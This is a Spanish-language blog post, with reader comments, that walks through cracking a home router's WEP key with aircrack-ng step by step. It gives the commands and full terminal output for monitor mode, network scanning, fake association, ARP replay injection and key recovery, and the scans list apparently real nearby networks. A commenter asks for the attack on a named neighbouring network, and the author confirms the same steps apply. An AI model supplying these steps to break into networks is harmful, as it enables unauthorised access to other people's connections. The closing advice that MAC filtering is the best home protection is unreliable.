Mi convicción personal me obliga a decirles que lo aquí expuesto no es más que una demostración de como las claves WEP son débiles este artículo no tiene la finalidad de enseñar a "romper" la seguridad de ninguna otra red, es con fines didacticos y no me hago responsable de lo ustedes puedan hacer con dicha información o pérdida de información ( e incluso de la libertad XD )
Lo primero que necesitamos es tener a la mano las herramientas de "aircrack". En esta explicación utilizaremos la versión para Linux pues aunque hay versión para windows, ésta se ve limitada por no poder realizar tareas como inyección de paquetes y otros trucos que llevaremos a cabo. No voy a explicar muchos datos técnicos para no facilitarle tanto las cosas a usuarios que lleguen aquí con quien sabe que intenciones ¬¬
En otros casos haré enlaces a la wikipedia para la definición de algunos terminos.
Doy por hecho que tenemos tarjeta de red inalambrica y que además soporta el modo promiscuo(monitoreo) de conexión y que estamos familiarizados con la ventana de terminal en linux.
Teniendo el aircrack instalado en Linux (podemos utilizar una distribución como backTrack que ya tiene todo lo necesario para estos menesteres)
Manos a la Obra:
Primero: airmon-ng start wlan2
Pondremos en modo promiscuo (monitoreo) la tarjeta de red en mi caso se llama Wlan2
Tecleamos en la línea de comandos: airmong-ng start wlan2
lo que regresa:
root@ubuntu:~# airmon-ng start wlan2
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
853 avahi-daemon
855 avahi-daemon
863 NetworkManager
903 wpa_supplicant
9318 dhclient
Interface Chipset Driver
wlan2 RTL8187 rtl8187 - [phy0]
(monitor mode enabled on mon0) <--- monitor ON
root@ubuntu:~#
Si no te sale (monitor mode enabled on mon0) no sigas leyendo que tu tarjeta no soporta el modo de monitor :P
en este punto el nombre de la interfaz que usaremos en el resto de los pasos será mon0
SEGUNDO: airodump-ng mon0 identificar la red que vamos a probar
root@ubuntu:~# airodump-ng mon0
CH 5 ][ Elapsed: 12 s ][ 2011-01-26 17:56
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:26:44:29:CF:D3 -28 6 0 0 1 54 WEP WEP INFINITUM1C04AA
F0:7B:CB:11:07:24 -45 2 0 0 9 54e WEP WEP Telecable1
00:25:68:06:FB:A8 -56 5 0 0 6 54 WEP WEP INFINITUM311a
00:24:17:3D:51:E9 -60 2 8 0 9 54 WEP WEP MOTOROLA
00:23:51:71:03:B1 -60 5 0 0 1 54 . WEP WEP INFINITUM0351
00:1F:B3:E5:49:81 -62 4 0 0 3 54 . WEP WEP INFINITUM1079
00:21:7C:74:46:31 -65 3 0 0 7 54 . WEP WEP ISSSEA
00:21:7C:68:EE:F9 -67 2 0 0 1 54 . WEP WEP INFINITUM3639
00:25:68:07:02:08 -68 3 0 0 2 54 WEP WEP INFINITUMda5c
root@ubuntu:~#
Aquí podemos ver datos importantes
- PWR: es el nivel(poder) de la señal de radio
- CH: channerl, el canal de transmisión del AccessPoint
- ESSID: es el nombre de la red en cuestión
- BSSID: que es la MACaddress del dispositivo
TERCERO: airodump-ng mon0 --ivs -w INFINITUM311a -c6
ahora nos conectaremos al dispositivo que seleccionado en el canal en el que transmite
root@ubuntu:~# airodump-ng mon0 --ivs -w INFINITUM311a -c6
[CH 6 ][ Elapsed: 1 min ][ 2011-01-26 18:09
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER ESSID
00:26:44:29:CF:D3 -40 0 15 0 0 1 54 WEP WEP INFINITUM1C04AA
00:25:68:06:FB:A8 -54 50 758 1 0 6 54 WEP WEP INFINITUM311a
F0:7B:CB:11:07:24 -61 7 56 0 0 9 54e WEP WEP Telecable1
00:24:17:3D:51:E9 -63 0 8 6 0 9 54 WEP WEP Motorola
64:16:F0:33:40:5D -68 0 4 0 0 11 54 WEP WEP INFINITUM93bd
64:16:F0:BB:5D:7A -67 54 536 0 0 6 54 WEP WEP INFINITUM1a49
00:24:17:B9:26:97 -69 37 413 2 0 6 54 WEP WEP INFINITUM69042B 00:23:51:71:03:B1 -65 0 1 0 0 1 54 . WEP WEP INFINITUM0351
00:21:7C:68:EE:F9 -66 0 2 1 0 1 54 . WEP WEP INFINITUM3639
-- Abrir una nueva terminal y hacer lor lo siguiente:
Si la red en cuestión sólo está siendo utilizada por nosotros entonces debemos asociar a un cliente más para poder relizar la captura de paquetes que viajan por el aire si hubiera mas usuarios en la red podemos saltarnos este paso:
CUARTO: aireplay-ng mon0 -1 0 -e INFINITUM311a -a 00:25:68:06:FB:A8
root@ubuntu:~# aireplay-ng mon0 -1 0 -e INFINITUM311a -a 00:25:68:06:FB:A8
No source MAC (-h) specified. Using the device MAC (00:C0:CA:3A:3D:53)
18:13:53 Waiting for beacon frame (BSSID: 00:25:68:06:FB:A8) on channel 6
18:13:53 Sending Authentication Request (Open System) [ACK]
18:13:53 Authentication successful
18:13:53 Sending Association Request [ACK]
18:13:53 Association successful :-) (AID: 1)root@ubuntu:~#
Si en este punto no sale Association Successfu es porque el AccessPoint tiene un filtrado de MACaddress lo que es una buena práctica para proteger la red inalambrica, lo trite aquí es que la mayoría de estos dispositivos se quedan con la configuración predeterminada y no cuentan con filtrado por MAC
Una vez que hemos conseguido la asociación (o en el caso de haber ya un cliente legítimo conectado),
relanzamos aireplay cambiando alguno de los parámetros.
Necesitamos cambiar el primer parámetro a “-3” que corresponde al ataque de inyección automático y pon atención en el parámetro -r que le indica al comando que debe guardar la captura de paquetes en el archivo llamado "archivo.cap"
QUINTO: aireplay-ng mon0 -3 -e INFINITUM311a -b 00:25:68:06:FB:A8 -r archivo.cap
root@ubuntu:~# aireplay-ng mon0 -3 -e INFINITUM311a -b 00:25:68:06:FB:A8 -r archivo.cap
No source MAC (-h) specified. Using the device MAC (00:C0:CA:3A:3D:53)
18:22:26 Waiting for beacon frame (BSSID: 00:25:68:06:FB:A8) on channel 6
Saving ARP requests in replay_arp-0126-182226.cap
You should also start airodump-ng to capture replies.
Read 3707 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
Nota que la linea donde dice:
Read 3707 packets (got 0 ARP requests and 4 ACKs), sent 0 packets...(0 pps)
irá cambiando aquí el siguiente salto:
68707 packets (got 0 ARP requests and 746 ACKs), sent 0 packets...(500 pps)
En este punto lo que debemos hacer es esperar, esperar y esperar, nuestro trabajo aquí es capturar la mayor cantidad de paquetes... ¿cuantos? entre más mejor.
Aquí pudo hacer una serie de anotaciones en base a mi experiencia:
- Les puedo decir que entre más cerca estes de la señal, menos tiempo tardarás en realizar la captura,
- si por alguna situación se detiene la captura de paquetes puedes reiniciarla desde el paso 5°, el parametro -r permite agregar al archivo más paquetes de captura y no comienza de nuevo.
- La paciencia es un don que todo especialista de seguridad debe tener. XD
SEXTO: aircrack –x -0 nombre_archivo_captura
El parámetro –x evita que se realice “fuerza bruta” sobre los 2 últimos bytes, lo que acelerará el proceso al probar menos claves
El parámetro -0 en realidad no sirve para nada, lo único que hace es poner aircrack en un color similar al de la película “Matrix”. XD
Finalmente el último parametro es el nombre del archivo de las capturas realizadas con airoduimp. en nuestro caso "archivo.cap"
abrimos otra terminal para lanzar el comando aircrack
aquí la salida del comando:
root@ubuntu:~# aircrack –x -0 archivo.cap
Aircrack-ng 1.0
[00:01:57] Tested 8 keys (got 518916 IVs)
KB depth byte(vote)
0 0/ 1 02(26880) 85(25344) 33(24832) 1B(24320) F8(24064) 38(23552) 98(23552)
1 0/ 1 78(28416) 1C(24320) 78(24064) C2(24064) CE(23808) 1A(23552) 21(23040)
2 0/ 1 84(27904) 71(24832) 7E(24832) 06(23808) E2(23808) 1C(23296) A5(23296)
3 0/ 2 58(26368) BD(26368) 49(24064) 68(24064) D8(24064) 1C(23040) 9D(23040)
4 0/ 4 5F(24832) 54(24832) F9(24576) 9C(23808) 0D(23552) A4(23552) B0(23552)
KEY FOUND! [ 02:78:84:58:46 ] Decrypted correctly:100%
root@ubuntu:~#
La clave encontrada
0278845846
Necesitarás aproximadamente 300.000 IVs para una WEP de 64 bytes y 1.000.000 de IVs para una clave de 128 bytes. A veces puedes necesitar muchos mas.
Debes lanzar Aircrack cuando tengas unos 300.000 IVs
Puedesn lanzar aircrack mientras continuas al mismo tiempo la captura de paquetes con airodump.
Si falla la desenciptación de la clave puedes esperar unos minutos más y volver a lanzar el aircrack (recuerda que esto es de paciencia)
No te olvides de situarte en el directorio que contiene el archivo .cap, o indica la ruta completa del mismo en el comando aircrack.
Esta prueba se realizo aproximadamente en 40minutos.
Lo que nos permite demostrar que la encriptación WEP es relativamente debil y sencilla de romper por algún usuario malintencionado (que es el punto de este post)
Usar encriptación WPA y WPA2 es un poco más seguro (si un poco,pues también se puede romper aunque tarda más tiempo)
y lo mejor que podemos hacer como usuarios domesticos es usar filtrado por dirección MAC en nuestros AccessPoints.
Y como el aparato mas seguro del mundo es el que está apagado.... apaga tu AccessPoint si no usas tu conexión o no estarás en casa.
Espero que les sea útil este post para fortalecer la seguridad de sus conexiones.
Para profundizar más en el tema: Google es tu amigo y la página oficial del proyecto Aircrack
Saludos Seguros 0=¬)
Como siempre ingeniero, su forma tan clara de explicar las cosas... espero su proxima entrada :D saludos seguros para ud. tambien
ResponderEliminarEsas son las faciles de crackear pero muestra un ejemplo para la "telecable1" se agradeceria gracias
ResponderEliminares exactamente el mismo procedimiento pues el modo de encriptación es WEP. cambia cuando te encuentras con WPA o WPA2
ResponderEliminar